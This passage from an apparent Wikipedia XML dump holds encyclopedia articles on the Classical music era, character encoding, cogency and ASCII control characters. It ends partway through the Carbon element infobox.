Mozart's arrival in Vienna in 1780 brought an acceleration in the development of the Classical style. There Mozart absorbed the fusion of Italianate brilliance and Germanic cohesiveness which had been brewing for the previous 20 years. His own taste for brilliances, rhythmically complex melodies and figures, long cantilena melodies, and virtuoso flourishes was merged with an appreciation for formal coherence and internal connectedness. Strangely enough, it is at this point that war and inflation halted a trend to larger and larger orchestras and forced the disbanding or reduction of many theatre orchestras. This pressed the Classical style inwards: towards seeking greater ensemble and technical challenge &amp;ndash; for example, scattering the melody across woodwinds, or using thirds to highlight the melody taken by them. This process placed a premium on chamber music for more public performance, giving a further boost to the string quartet and other small ensemble groupings. 

It was during this decade that public taste began, increasingly, to recognize that Haydn and Mozart had reached a higher standard of composition. By the time Mozart arrived at age 25, in [[1781]], the dominant styles of Vienna were recognizably connected to the emergence in the 1750s of the early Classical style. By the end of the 1780s, changes in performance practice, the relative standing of instrumental and vocal music, technical demands on musicians, and stylistic unity had become established in the composers who imitated Mozart and Haydn. During this decade Mozart would compose his most famous operas, his six late symphonies which would help redefine the genre, and a string of piano concerti which still stand at the pinnacle of these forms.

One composer who was influential in spreading the more serious style that Mozart and Haydn had formed is [[Muzio Clementi]], a gifted virtuoso pianist who dueled Mozart to a draw before the Emperor, when they exhibited their compositions in performance. His own sonatas for the piano circulated widely, and he became the most successful composer in [[London]] during the 1780s.  The stage was set for a generation of composers who, having absorbed the lessons of the new style earlier, and having clear examples to aim at, would take the Classical style in new directions. Also in London at this time was [[Johann Ladislaus Dussek]], who, like Clementi, encouraged piano makers to extend the range and other features of their instruments, and then fully exploited the newly opened possibilities. The importance of London in the Classical period is often overlooked &amp;ndash; but it served as the home to the [[Broadwood and Sons|Broadwood]]'s factory for piano manufacturing, and as the base for composers who, while less famous than the &quot;Vienna School&quot;, would have a decisive influence on what came later. They were composers of a number of fine works, notable in their own right. London's taste for virtuosity may well have encouraged the complex passage work and extended statements on tonic and dominant.

===The late Classical style (1790-1820)===

When Haydn and Mozart began composing, symphonies were played as single movements before, between, or as interludes within other works, and many of them lasted only ten or twelve minutes; instrumental groups had varying standards of playing and the &quot;continuo&quot; was a central part of music-making. In the intervening years, the social world of music had seen dramatic changes: international publication and touring had grown explosively, concert societies were beginning to be formed, notation had been made more specific, more descriptive, and schematics for works had been simplified (yet became more varied in their exact working out). In 1790, just before Mozart's death, with his reputation spreading rapidly, Haydn was poised for a series of successes, notably his late oratorios and &quot;London&quot; symphonies. Composers in Paris, Rome and all over Germany turned to Haydn and Mozart for their ideas on form.

The moment was again ripe for a dramatic shift. The decade of the 1790s saw the emergence of a new generation of composers, born around 1770, who, while they had grown up with the earlier styles, found in the recent works of Haydn and Mozart a vehicle for greater expression. In 1788 [[Luigi Cherubini]] settled in Paris, and in 1791 composed &quot;Lodoiska&quot;, an opera that shot him to fame. Its style is clearly reflective of the mature Haydn and Mozart, and its instrumentation gave it a weight that had not yet been felt in the grand opera. His contemporary [[Étienne Méhul]] extended instrumental effects with his 1790 opera &quot;Euphrosine et Coradin&quot;, from which followed a series of successes. 

Of course, the most fateful of the new generation would be Ludwig van Beethoven, who launched his numbered works in 1794 with a set of three piano trios, which remain in the repertoire. Somewhat younger than these, though equally accomplished because of his youthful study under Mozart and his native virtuosity, was [[Johann Nepomuk Hummel]]. Hummel studied under Haydn as well; he was a friend to Beethoven and Schubert, and a teacher to Franz Liszt. He concentrated more on the piano than any other instrument, and his time in London in 1791 and 1792 saw the composition, and publication in 1793, of three piano sonatas, opus 2, which idiomatically used Mozart's techniques of avoiding the expected cadence, and Clementi's sometimes modally uncertain virtuoso figuration. Taken together, these composers can be seen now as the vanguard of a broad change in style and the center of gravity in music. They would study one another's works, copy one another's gestures in music, and on occasion behave like quarrelsome rivals.

The crucial differences with the previous wave can be seen in the downward shift in melodies, increasing durations of movements, the acceptance of Mozart and Haydn as paradigmatic, the greater and greater use of keyboard resources, the shift from &quot;vocal&quot; writing to &quot;pianistic&quot; writing, the growing pull of the minor and of modal ambiguity, and the increasing importance of varying accompanying figures to bring &quot;texture&quot; forward as an element in music. In short, the late Classical was seeking a music that was internally more complex. The growth of concert societies and amateur orchestras, marking the importance of music as part of middle-class life, contributed to a booming market for pianos, piano music, and virtuosi to serve as examplars. Hummel, Beethoven, Clementi were all renowned for their improvising. 

One explanation for the shift in style has been advanced by [[Arnold Schoenberg|Schoenberg]] and others: the increasing centrality of the idea of [[theme and variations]] in compositional thinking. Schoenberg argues that the Classical style was one of &quot;continuing variation&quot;, where a development was, in effect, a theme and variations with greater continuity. In any event, theme and variations replaced the [[fugue]] as the standard vehicle for improvising, and was often included, directly or indirectly, as a movement in longer instrumental works.

Direct influence of the Baroque continued to fade: the [[figured bass]] grew less prominent as a means of holding performance together, the performance practices of the mid 18th century continued to die out. However, at the same time, complete editions of Baroque masters began to become available, and the influence of Baroque style, as the Classical period understood it, continued to grow, particularly in the more and more expansive use of brass. Another feature of the period is the growing number of performances where the composer was not present. This led to increased detail and specificity in notation; for example, there were fewer and fewer &quot;optional&quot; parts that stood separately from the main score.

The force of these shifts would be abundantly apparent with Beethoven's 3rd Symphony, given the name &quot;Eroica&quot;, which is Italian for &quot;heroic&quot;, by the composer. As with Stravinsky's [[Rite of Spring]], it may not have been the first in all of its innovations, but its aggressive use of every part of the Classical style set it apart from its contemporary works: in length, ambition, and harmonic resources.

===Classical influence on later composers===

Musical eras seldom disappear at once; instead, features are replaced over time, until the old is simply felt as &quot;old-fashioned&quot;. The Classical style did not &quot;die&quot; so much as transform under the weight of changes. 

One crucial change was the shift towards harmonies centering around &quot;flatward&quot; or subdominant keys. In the Classical style, major key was far more common than minor, chromaticism being moderated through the use of &quot;sharpward&quot; modulation, and sections in the minor mode were often merely for contrast. Beginning with Mozart and Clementi, there began a creeping colonization of the subdominant region. With Schubert, subdominant moves flourished after being introduced in contexts in which earlier composers would have confined themselves to dominant shifts (For a fuller discussion of these terms see [[Tonality]].). This introduced darker colors to music, strengthened the minor mode, and made structure harder to maintain. Beethoven would contribute to this, by his increasing use of the fourth as a consonance, and modal ambiguity &amp;ndash; for example, the opening of the D Minor Symphony. 

Among this generation of &quot;Classical Romantics&quot; [[Franz Schubert]], [[Carl Maria von Weber]], and [[John Field (composer)|John Field]] are among the most prominent, along with the young [[Felix Mendelssohn]]. Their sense of form was strongly influenced by the Classical style, and they were not yet &quot;learned&quot; (imitating rules which were codified by others), but directly responding to works by Beethoven, Mozart, Clementi, and others, as they encountered them. The instrumental forces at their disposal were also quite &quot;Classical&quot; in number and variety, permitting similarity with avowedly Classical works.

However, the forces destined to end the hold of the Classical style gather strength in the works of each of these composers. The most commonly cited one is, of course, harmonic innovation. However, also important is the increasing focus on having a continuous and rhythmically uniform accompanying figuration. Beethoven's [[Moonlight sonata]] would be the model for hundreds of later pieces &amp;ndash; where the shifting movement of a rhythmic figure provides much of the drama and interest of the work, while a melody drifts above it. As years wore on, greater knowledge of works, greater instrumental expertise, increasing variety of instruments, the growth of concert societies, and the unstoppable domination of the piano &amp;ndash; which created a huge audience for sophisticated music &amp;ndash; all contributed to the shift to the &quot;Romantic&quot; style. 

Drawing the line exactly is impossible: there are sections of Mozart's works which, taken alone, are indistinguishable in harmony and orchestration from music written 80 years later, and composers continue to write in normative Classical styles all the way into the [[20th century]].  Even before Beethoven's death, composers such as [[Louis Spohr]] were self-described Romantics, incorporating, for example, more and more extravagant chromaticism in their works. However, generally the fall of Vienna as the most important musical center for orchestral composition is felt to be the occasion of the Classical style's final eclipse, along with its continuous organic development of one composer learning in close proximity to others. [[Franz Liszt]] and [[Frédéric Chopin]] visited Vienna when young, but they then moved on to other vistas. Composers such as [[Carl Czerny]], while deeply influenced by Beethoven, also searched for new ideas and new forms to contain the larger world of musical expression and performance in which they lived.

==Further reading==
* Rosen, Charles.  ''The Classical Style: Haydn, Mozart, Beethoven.'' W.W. Norton &amp; Company. ISBN 0-393-31712-9.

==See also==
*[[List of Classical composers]]
*[[:Category:Classical era composers]]

== External links ==
*[http://www.download-latest-online-music.com/free-classical-music-downloads.html Free music downloads from classical music era]
*[http://www.musiclassical.com Directories of composers and performers of classical.music]
*[http://www.classicalmanac.com A daily glance a this day in classical music history]
[[Category:Classical music era]]
[[Category:Classicism]]
[[Category:Classical music]]
[[Category:Austrian music history]]
[[Category:Music history]]

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[[da:Wienerklassicismen]]
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[[el:Κλασσική μουσική]]
[[es:Música clásica]]
[[eo:Klasika epoko (eŭropa muziko)]]
[[fr:Musique de la période classique]]
[[ko:고전파 음악]]
[[id:Zaman Klasik (Musik)]]
[[he:מוזיקה קלאסית בתחילת העת החדשה]]
[[ja:古典派音楽]]
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[[fi:Klassismin musiikki]]
[[zh:古典主义音乐]]</text>
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      <comment>Reverted edits by [[Special:Contributions/Chaosfeary|Chaosfeary]] to last version by Frazzydee</comment>
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  <page>
    <title>Character encoding</title>
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      <id>41910588</id>
      <timestamp>2006-03-02T15:37:39Z</timestamp>
      <contributor>
        <ip>200.44.116.68</ip>
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      <comment>More precision. The rules in an encoding could be more complex than a simple table pairing characters with octets.  This is slightly more general than the previous definition.</comment>
      <text xml:space="preserve">A '''character encoding''' consists of a [[code]] that pairs a sequence of [[character (computing)|characters]] (representations of [[grapheme]]s or grapheme-like units, such as might appear in an [[alphabet]] or [[syllabary]] for the communication of a [[natural language]]) from a given [[set (computer science)|set]] with something else, such as a sequence of natural [[number]]s, [[octet (computing)|octets]] or electrical pulses, in order to facilitate the [[computer storage|storage]] of [[text]] in [[computer]]s and the transmission of text through telecommunication networks. Common examples include [[Morse code]], which encodes letters of the [[Latin alphabet]] as series of long and short depressions of a [[telegraph key]]; and [[ASCII]], which encodes letters, numerals, and other symbols, both as [[integer]]s and as 7-[[bit]] [[Binary numeral system|binary]] versions of those integers (generally zero extended to 8 bits and stored in an octet).

In earlier days of computing, the introduction of '''character sets''' such as [[ASCII]] (1963) and [[EBCDIC]] (1964) began the process of standardisation. The limitations of such sets soon became apparent, and a number of ad-hoc methods developed to extend them. The need to support multiple [[writing system]]s, including the [[CJK]] family of East Asian scripts, required support for a far larger number of characters and demanded a systematic approach to character encoding rather than the previous ad hoc approaches.

==Simple character sets==
Conventionally character set and character encoding were considered synonymous, as the same standard would specify both what characters were available and how they were to be encoded into a stream of code units (usually with a single character per code unit). For historical reasons [[MIME]] and systems based on it use the term '''charset''' to refer to the complete system for encoding a sequence of characters into a sequence of octets.

==Modern encoding model==

[[Unicode]] and its parallel standard, ISO 10646 [[Universal Character Set]], which together constitute the most modern character encoding, broke away from this idea, and instead separated the ideas of what characters are available, their numbering, how those numbers are encoded as a series of &quot;code units&quot; (limited size numbers), and finally how those units are encoded as a stream of octets (bytes). The idea behind this decomposition is to establish a universal set of characters that can be encoded in a variety of ways. To correctly describe this model needs more precise terms than &quot;character set&quot; and &quot;character encoding&quot;.

A '''character repertoire''' means the full set of abstract characters that a system supports. The repertoire may be closed, that is no additions are allowed without creating a new standard (as is the case with ASCII and most of the ISO-8859 series), or it may be open, allowing additions (as is the case with Unicode and to a limited extent the [[Windows code pages]]). 

A '''coded character set''' specifies how to represent a repertoire of characters using a number of non-negative integer codes. multiple coded character sets may share the same repertoire, for example [[ISO-8859-1]] and IBM code pages [[code page 037|037]] and [[code page 500|500]] all cover the same repertoire but map them to different codes.

A '''character encoding form''' (CEF) specifies the conversion of the integer code into a series of fixed size integer ''code values'' that facilitate storage in a system that uses fixed bit-widths (e.g. virtually any computer system). The simplest system is simply to choose a large enough fixed size that the values from the coded character set can be encoded directly. This works well for coded character sets that fit in 8 bits (as most legacy non-CJK encodings do) and reasonably well for coded character sets that fit in 16 bits (such as early versions of Unicode). However, as the size of the coded character set increases (e.g. modern Unicode requires at least 21 bits/character), this becomes less and less efficient, and it is difficult to adapt existing systems to use larger code values. Therefore, most systems working with Unicode today use either [[UTF-8]], which maps Unicode code points to variable-length sequences of octets, or [[UTF-16]], which maps Unicode code points to variable-length sequences of 16-bit words.

Finally, a '''character encoding scheme''' (CES) specifies how the fixed-size integer codes should be mapped into an octet sequence suitable for saving on an octet-based file system or transmitting over an octet-based network. With Unicode in most cases a simple character encoding scheme is used, simply specifying if the bytes for each integer should be in big-[[endian]] or little-endian order (even this isn't needed with UTF-8). However, there are also compound character encoding schemes, which use escape sequences to switch between several simple schemes (such as [[ISO 2022]]), and compressing schemes, which try to minimise the number of bytes used per code unit (such as [[SCSU]], [[BOCU]], and [[Punycode]]).

==Popular character encodings==
* [[ISO/IEC 646|ISO 646]]
** [[ASCII]]
* [[EBCDIC]]
* [[ISO/IEC 8859|ISO 8859]]:
** [[ISO/IEC 8859-1|ISO 8859-1]], [[ISO/IEC 8859-2|ISO 8859-2]], [[ISO/IEC 8859-3|ISO 8859-3]], [[ISO/IEC 8859-4|ISO 8859-4]], [[ISO/IEC 8859-5|ISO 8859-5]], [[ISO/IEC 8859-6|ISO 8859-6]], [[ISO/IEC 8859-7|ISO 8859-7]], [[ISO/IEC 8859-8|ISO 8859-8]], [[ISO/IEC 8859-9|ISO 8859-9]], [[ISO/IEC 8859-10|ISO 8859-10]], [[ISO/IEC 8859-11|ISO 8859-11]], [[ISO/IEC 8859-13|ISO 8859-13]], [[ISO/IEC 8859-14|ISO 8859-14]], [[ISO/IEC 8859-15|ISO 8859-15]], [[ISO/IEC 8859-16|ISO 8859-16]]
* DOS character sets, also known as '''IBM [[Code page|code pages]]''':
** [[Code page 437|CP437]], [[Code page 737|CP737]], [[Code page 850|CP850]], [[Code page 852|CP852]], [[Code page 855|CP855]], [[Code page 857|CP857]], [[Code page 858|CP858]], [[Code page 860|CP860]], [[Code page 861|CP861]], [[Code page 863|CP863]], [[Code page 865|CP865]], [[Code page 866|CP866]], [[Code page 869|CP869]]
* [[Microsoft Windows | Windows]] character sets:
** [[Windows-1250]]
** [[Windows-1251]] for Cyrillic alphabets
** [[Windows-1252]]
** [[Windows-1253]]
** [[Windows-1254]]
** [[Windows-1255]] for Hebrew
** [[Windows-1256]] for Arabic
** [[Windows-1257]]
** [[Windows-1258]] for Vietnamese
* [[KOI8-R]], [[KOI8-U]], [[KOI7]]
* [[MIK Code page|MIK]]
* [[ISCII]]
* [[VISCII]]
* [[Big5]]
** [[HKSCS]]
* [[Guobiao code|Guobiao]]
** [[GB2312]]
** [[GB18030]]
* [[ISO 2022]], [[Shift-JIS]], [[Extended Unix Coding|EUC]]
* [[Unicode]] (and subsets thereof, such as the 16-bit 'Basic Multilingual Plane'). See [[UTF-8]]

==See also==
* [[:Category:Character encoding]] &amp;mdash; articles related to character encoding in general
* [[:Category:Character sets]] &amp;mdash; articles detailing specific character encodings
* ''[[Mojibake]]'' &amp;mdash; character set mismap.

==External links==
* [http://www.iana.org/assignments/character-sets Character sets registered by Internet Assigned Numbers Authority]
* [http://www.unicode.org/unicode/reports/tr17/ Unicode Technical Report #17: Character Encoding Model]
* [http://scripts.sil.org/cms/scripts/page.php?site_id=nrsi&amp;id= SIL's freeware fonts, editors and documentation] See [[SIL]]
* [http://www.ibm.com/software/globalization/icu/demo/converters ICU Converter Explorer]
* [http://czyborra.com/charsets/cyrillic.html The Cyrillic Charset soup]
* [http://homepages.cwi.nl/~dik/english/codes/stand.html Early history of character set standardization]
* [http://www.i18nguy.com/unicode/codepages.html Character Sets And Code Pages At The Push Of A Button]
* [http://www.cs.mcgill.ca/~aelias4/encodings.html A complete introduction to Japanese character encodings]
* [http://www.cs.tut.fi/~jkorpela/chars.html A tutorial on character code issues]
*[http://www.paulschou.com/tools/xlate/ Online Char (ASCII), HEX, Binary, Base64, etc... Encoder/Decoder with MD2, MD4, MD5, SHA1+2, etc. hashing algorithms]

[[Category:Character encoding|*]]

[[cs:Znaková sada]]
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[[de:Zeichencodierung]]
[[es:Codificación de caracteres]]
[[fr:Codage_de_caract%C3%A8res]]
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    <title>Cogency</title>
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      <contributor>
        <username>Obsidian-fox</username>
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      </contributor>
      <comment>validity -&gt; soundness; see talk</comment>
      <text xml:space="preserve">An [[logical argument | argument]] is '''cogent''' if and only if the truth of the argument's premises would render the truth of the conclusion probable (i.e., the argument is ''strong'') and the premises are, in fact, true. Cogency can be considered [[inductive logic]]'s analogue to [[deductive logic]]'s &quot;[[soundness]].&quot; As an example, consider the following.

:Without looking, Jill pulled out 100 marbles from a bag; 95 of the marbles Jill pulled out were red.
:Therefore, the next marble Jill pulls out from the bag will be red.

The truth of the premises would, indeed, make the conclusion probable. Therefore, this argument is strong. If the premises are, in fact, true, then the argument is also cogent.

==&quot;Probable&quot;==
There is no standard of how likely an event must be for it to be called &quot;probable.&quot; Just as there are degrees of probability, one can also speak of degrees of cogency. The degree of an argument's cogency, then, is a function of the argument's strength. In the above example, Jill pulling out a 101st marble that turns out to be red would make the conclusion even more likely, and therefore the argument stronger. Note that this feature of cogency is a disanalogy from deductive logic's &quot;validity,&quot; since a deductive argument can be either valid or invalid and nothing in between.

==Good argument==

'''Good argument,''' as used by philosophers and many others, means simply a [[soundness|sound]] or cogent argument.  If one has offered a sound or cogent argument in defense of one's conclusion, then one has stated a ''[[truth|true]]'' view, or at least a ''[[probability|probably]]'' true view.  The premises of one's argument ''support'', or, with some sophisticated complications aside, ''[[epistemic justification|justify]]'' one's belief in the conclusion.  

A good argument is the closest thing we have to a guarantee that a belief is true. If one is armed with a good argument, one has helped to justify one's belief in the conclusion, and to [[the motivation to philosophize|remove doubts]] about it.

== See also == 

* [[Explanation]]
* [[Inductive reasoning]]
* [[Soundness]]
* [[Validity]]

[[Category:Logic]]
&lt;!-- [[Category:Philosophy]] too general --&gt;</text>
    </revision>
  </page>
  <page>
    <title>Computer character</title>
    <id>5297</id>
    <revision>
      <id>15903510</id>
      <timestamp>2002-08-19T22:08:23Z</timestamp>
      <contributor>
        <username>Lee Daniel Crocker</username>
        <id>43</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Character (computing)]]</text>
    </revision>
  </page>
  <page>
    <title>Control character</title>
    <id>5298</id>
    <revision>
      <id>42044981</id>
      <timestamp>2006-03-03T12:24:56Z</timestamp>
      <contributor>
        <username>Pkierski</username>
        <id>1022971</id>
      </contributor>
      <text xml:space="preserve">In [[computing]], a '''control [[Grapheme |character]]''' or '''non-printing character''', is a [[code point]] (a [[number]]) in a [[character set]] that does not in itself represent a written symbol. All entries in the [[ASCII]] table below 32 (technically the [[C0 and C1 control codes|C0]] control code set) are of this kind, including BEL (which is intended to cause an audible signal in the receiving terminal), SYN (which is a synchronization signal), and ENQ (a signal that is intended to trigger a response at the receiving end, to see if it is still present). The [[Unicode]] standard has added many new non-printing characters, for example the [[Zero-width non-joiner]]. The remainder of this article covers control codes in general and some codes that are in common use. For detailed tables of the [[C0 and C1 control codes]] used in ASCII and [[ISO-8859-n]], please see their respective articles.

== In [[ASCII]] ==
The control characters in ASCII still in common use include
* 7 (bell), which may cause the device receiving it to emit a warning of some kind (usually audible)
* 8 (backspace), used either to erase the last character printed or to overprint it
* 9 (horizontal tab), moves the printing position some spaces to the right
* 10 (line feed), used as the end_of_line marker in most [[Unix|UNIX systems]] and variants
* 12 (form feed), to cause a printer to eject paper to the top of the next page
* 13 (carriage return), used as the end_of_line marker in [[Mac OS]], [[OS-9]], [[FLEX]] (and variants); [[CP/M]]-80 and its derivatives including [[DOS]] and [[Microsoft Windows|Windows]] through the FAT-12, -16, and -32 file systems, and [[application layer]] [[communications_protocol|protocols]] such as [[HyperText Transfer Protocol|HTTP]], all used the CR/LF character pair as an end_of_line marker, and
* 27 (escape).
Occasionally one might encounter modern uses of other codes such as code 4 (End of transmission) used to end a [[Unix shell]] session or [[PostScript]] printer transmission.

Code 27 (Escape) is a case worth elaborating. Even though many of these control characters are never used, the concept of sending device-control information intermixed with printable characters is so useful that device makers found a way to send hundreds of device instructions. Specifically, they used a series of multiple characters called a &quot;[[control sequence]]&quot; or &quot;[[escape sequence]]&quot;. The mechanism was invented by [[Bob Bemer]], the father of ASCII.

Typically code 27 was first sent to alert the device that the following characters were to be interpreted as a control sequence rather than as plain characters, then one or more characters would follow specifying some detailed action, after which the device would go back to interpreting characters normally. For example, the sequence of code 27, followed by the printable characters &lt;nowiki&gt;&quot;[2;10H&quot;&lt;/nowiki&gt;, would cause a [[Digital Equipment Corporation|Digital]] VT-102 terminal to move its [[computer cursor|cursor]] to the 10th cell of the 2nd line of the screen. Some standards exist for these sequences, notably [[ANSI]] X3.64 (1979), which was based on the behavior of VT-100 series terminals. But the number of non-standard variations in use is large, especially among printers, where technology has advanced far faster than any standards body can possibly keep even with.

== How control characters map to keyboards ==
&lt;!--major work needed, pc keyboards do not send ascii to the pc at all they send scancodes which are then translated to codes from the systems legacy character set or unicode or whatever by the operating system.--&gt;
ASCII-based [[computer keyboard|keyboard]]s have a key labelled &quot;[[control key|Control]]&quot; or &quot;Ctrl&quot; (sometimes referred to as &quot;Cntl&quot;) which is used much like a shift key, being depressed in combination with another letter or symbol key. In this way the control key generates the code 64 places below the code for the (generally) uppercase letter it is pressed in combination with, producing one of the 32 ASCII control codes.

So, the [[octet (computing)|octet]] code produced by a control key combination has the second from leftmost bit (the 2&lt;sup&gt;7&lt;/sup&gt;th, i.e. the 64th, place bit) forced to zero and is otherwise the bit pattern generated when the control key is not one of those pressed. For example, pressing &quot;control&quot; and the letter &quot;G&quot; (code 71 in [[decimal|base 10]], which is 01000111 in [[Binary numeral system|binary]], a code which generally also requires the shift key be depressed), produces the code 7 (Bell, 7 in base 10, or 00000111 in binary). A key press combination that produces a code with 0 in the 64th place is unaffected should the control key be held down as well.

Keyboards also typically have a few single keys which produce control character codes. For example, the key labelled &quot;Backspace&quot; typically produces code 8, &quot;Tab&quot; code 9, &quot;Enter&quot; or &quot;Return&quot; code 13 (though some keyboards might produce code 10 for &quot;Enter&quot;).

Modern keyboards have many keys that do not correspond to any ASCII printable or control character, for example cursor control arrows and [[word processing]] functions.  These keyboards communicate these keys to the attached computer by one of three methods: appropriating some otherwise unused control character for the new use, using some encoding other than ASCII, or using multi-character control sequences. Keyboards attached to stand-alone [[personal computer]]s typically use one (or both) of the first two methods. &quot;Dumb&quot; [[computer terminal]]s typically use control sequences.

== The design purpose ==
The control characters were designed fall into a few groups: printing and display control, data structuring, transmission control, and miscellaneous.

=== Printing and Display control ===
Printing control characters were first used to control the physical mechanisim of a printers, the earliest output device. 
The carriage return character, when sent to such a device, causes it to put the character at the edge of the paper at which writing begins (it may, or may not, also move the printing position to the next line).
The line feed character causes the device to put the printing position on the next line. It may (or may not), depending on the device and its configuration, also move the printing position to the start of the next line (whichever direction is first -- left in Western langauges and right in Hebrew and Arabic). 
The vertical and horizontal tab characters cause the output device to move the printing position to the next tab stop in the direction of reading. 
The form feed character starts a new sheet of paper. 
The backspace character moves the printing position one character space  backwards. On printers, this is most often used so the printer can overprint characters to make other, not normally available characters. On terminals and other electronic output devices there are often software (or hardware) configuration choices which will allow a destruct backspace (ie, a BS, SP, BS sequence) which erases, or a non-destructive one which does not. 
The shift in and shift out characters selected alternate character sets, fonts, underlining or other printing modes. Escape sequences were often used to do the same thing. 

With the advent of [[computer terminal]]s that did not physically print on paper and so offered more flexiblity regarding screen placement, erasure, and so forth, printing control codes were adapted. Form feeds, for example, usually cleared the screen, there being no new paper page to move to. More complex escape sequences were developed to take advantage of the flexibility of the new terminals, and indeed of newer printers. The concept of a control character had always been somewhat limiting, and was extremely so when used with new, much more flexible, hardware. Control sequences (sometimes implemented as escape sequences) could match the new flexibility and power and became the standard method. Though there were, and remain, a large variety of standard sequences to choose from.

=== Data structuring ===
The separators (group, record, etc) were made to structure data, usually on
a tape, in order to simulate [[punch cards]].
End of media warns that the tape (or whatever) is ending.

=== Transmission control ===
The transmission control characters were intended to structure a data stream and manage retransmission or graceful failure as needed in the face of transmission errors.

The start of header was to mark a non-data section of a data stream -- the part of a stream containing addresses and other housekeeping data. The start_of_text character marked the end of the header, and the start of the textual part of a stream. The end_of_text character marked the end of the data of a message. A widely used convention is to make the two characters preceding end_of_text a checksum or [[Cyclic redundancy check|CRC]] for error detection purposes.   

The escape character was intended to be a marker of a binary (ie, non text character) value in a data stream that might otherwise be interpretable as a control character. For example, the value for binary 27 would be Escape Escape.  

The substitute character was intended to request a translation of the next character from a printable character to another value, usually by setting bit 5 to zero. This is handy because some media (such as sheets of paper produced by typewriters) can only transmit printable characters.

The cancel character signalled that the previous element should be discarded. The negative acknowledge character is a definite flag for, usually, noting that reception was a problem, and often, that the current element should be sent again.  The acknowledge characters is normally used as a flag to indicate no problem detected with current element. 
 
When a transmission medium is half duplex (that is, it can only transmit in one direction at a time), there is usually a master station that can transmit at any time, and one or more slave stations that transmit when they have permission. The enquiry character is generally used by a master station to ask a slave station to send its next message. A slave station indicates that it has completed its transmission by sending the end_of_transmission character.

The device control codes were originally generic, to be implemented as necessary by each device. However, a universal need in data transmission is to request the sender to stop transmitting when a receiver can't take more data right now. [[Digital Equipment Corporation]] invented a convention which used 19, (the device control 3 character, also known as control S, or &quot;X-OFF&quot;) to &quot;S&quot;top transmission, and 17, (the device control 1 character, aka control Q, or &quot;X-ON&quot;) to start transmission. It has become so widely used that most don't realize it is not part of official ASCII. This technique, however implemented, avoids additional wires in the data cable devoted only to transmission management, which saves money. A sensible protocol for the use such transmission flow control signals must be used to avoid potential deadlock conditions, however. 

The data link escape character was intended to be a signal to the other end of a data link to end the current session.

=== Miscellaneous ===
Many of the ASCII control characters were designed for devices of the time that are not often seen today. For example, code 22, &quot;Synchronous idle&quot;, was originally sent by synchronous modems (which have to send data constantly) when there was no actual data to send. (Modern systems typically use a start bit to announce the beginning of a transmitted word.)

Code 0, null, is a special case. In paper tape, it is the case when there are no holes. It's convenient to treat this as a ''fill'' character without meaning otherwise. 

Code 127 is likewise a special case. Its code is ''all-bits-on'' in binary, which essentially erased a character cell on a [[punched tape|paper tape]] when overpunched. Paper tape was a common storage medium when ASCII was developed with a computing history dating back to WWII codebreaking equipment at [[Bletchley Park]]. Paper tape became obsolete in the [[1970s]], so this clever aspect of ASCII rarely saw any use. Some systems (such as the original Apples) converted it to a backspace.  But because its code is in the range occupied by other printable characters, and because it had no official assigned glyph, many computer equipment vendors used it as an additional printable character (often an all-black &quot;box&quot; character useful for erasing text by overprinting with ink).

[[Category:Control characters| ]]

[[de:Steuerzeichen]]
[[eo:Reg-signo]]
[[it:Carattere di controllo]]
[[ru:Управляющие символы]]
[[zh:控制字符]]</text>
    </revision>
  </page>
  <page>
    <title>Carbon</title>
    <id>5299</id>
    <revision>
      <id>41218148</id>
      <timestamp>2006-02-25T21:32:53Z</timestamp>
      <contributor>
        <ip>69.232.207.116</ip>
      </contributor>
      <comment>/* Occurrence */</comment>
      <text xml:space="preserve">{{otheruses}}
{{Elementbox_header | number=6 | symbol=C | name=carbon | left=[[boron]] | right=[[nitrogen]] | above=- | below=[[silicon|Si]] | color1=#a0ffa0 | color2=black }}
{{Elementbox_series | [[nonmetal]]s }}
{{Elementbox_groupperiodblock | group=14 | period=2 | block=p }}
{{Elementbox_appearance_img | C,6| black (graphite)&lt;br /&gt;colorless (diamond) }}
{{Elementbox_atomicmass_gpm | [[1 E-26 kg|12.0107]][[List of elements by atomic mass|(8)]] }}
{{Elementbox_econfig | 1s&lt;sup&gt;2&lt;/sup&gt; 2s&lt;sup&gt;2&lt;/sup&gt; 2p&lt;sup&gt;2&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 4 }}
{{Elementbox_section_physicalprop | color1=#a0ffa0 | color2=black }}
{{Elementbox_phase | [[solid]] }}
{{Elementbox_density_gpcm3nrt | (graphite) 2.267 }}
{{Elementbox_density_gpcm3nrt | (diamond) 3.513 }}
{{Elementbox_meltingpoint | k=? triple point, ca. 10 MPa&lt;br /&gt;and (4300&amp;ndash;4700) | c=4027&amp;ndash;4427 | f=&lt;br /&gt;7280&amp;ndash;8000 }}
{{Elementbox_boilingpoint | k=? [[sublimation (physics)|subl.]] ca. 4000 | c=3727 | f=6740 }}
{{Elementbox_heatfusion_kjpmol | (graphite) ? 100 }}
{{Elementbox_heatfusion_kjpmol | (diamond) ? 120 }}
{{Elementbox_heatvaporiz_kjpmol | ? 355.8 }}
{{Elementbox_heatcapacity_jpmolkat25 | (graphite)&lt;br /&gt;8.517 }}
{{Elementbox_heatcapacity_jpmolkat25 | (diamond)&lt;br /&gt;6.115 }}
{{Elementbox_vaporpressure_katpa | &amp;nbsp; | 2839 | 3048 | 3289 | 3572 | 3908 | comment=(graphite) }}
{{Elementbox_section_atomicprop | color1=#a0ffa0 | color2=black }}
{{Elementbox_crystalstruct | hexagonal }}
{{Elementbox_oxistates | '''4''', 2&lt;br /&gt;(mildly [[acid]]ic oxide) }}
{{Elementbox_electroneg_pauling | 2.55 }}
{{Elementbox_ionizationenergies4 | 1086.5 | 2352.6 | 4620.5 }}
{{Elementbox_atomicradius_pm | [[1 E-11 m|70]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-11 m|67]] }}
{{Elementbox_covalentradius_pm | [[1 E-11 m|77]] }}
{{Elementbox_vanderwaalsrad_pm | [[1 E-10 m|170]] }}
{{Elementbox_section_miscellaneous | color1=#a0ffa0 | color2=black }}
{{Elementbox_magnetic | [[diamagnetism|diamagnetic]] }}
{{Elementbox_thermalcond_wpmkat300k | (graphite)&lt;br /&gt;(119&amp;ndash;165) }}
{{Elementbox_thermalcond_wpmkat300k | (diamond)&lt;br /&gt;(900&amp;ndash;2320) }}
{{Elementbox_thermaldiff_wpmkat300k | (diamond)&lt;br /&gt;(503&amp;ndash;1300) }}
{{Elementbox_mohshardness | (graphite) 0.5 }}
{{Elementbox_mohshardness | (diamond) 10.0 }}
{{Elementbox_cas_number | 7440-44-0 }}
{{Elementbox_isotopes_begin | isotopesof=carbon | color1=#a0ffa0 | color2=black }}
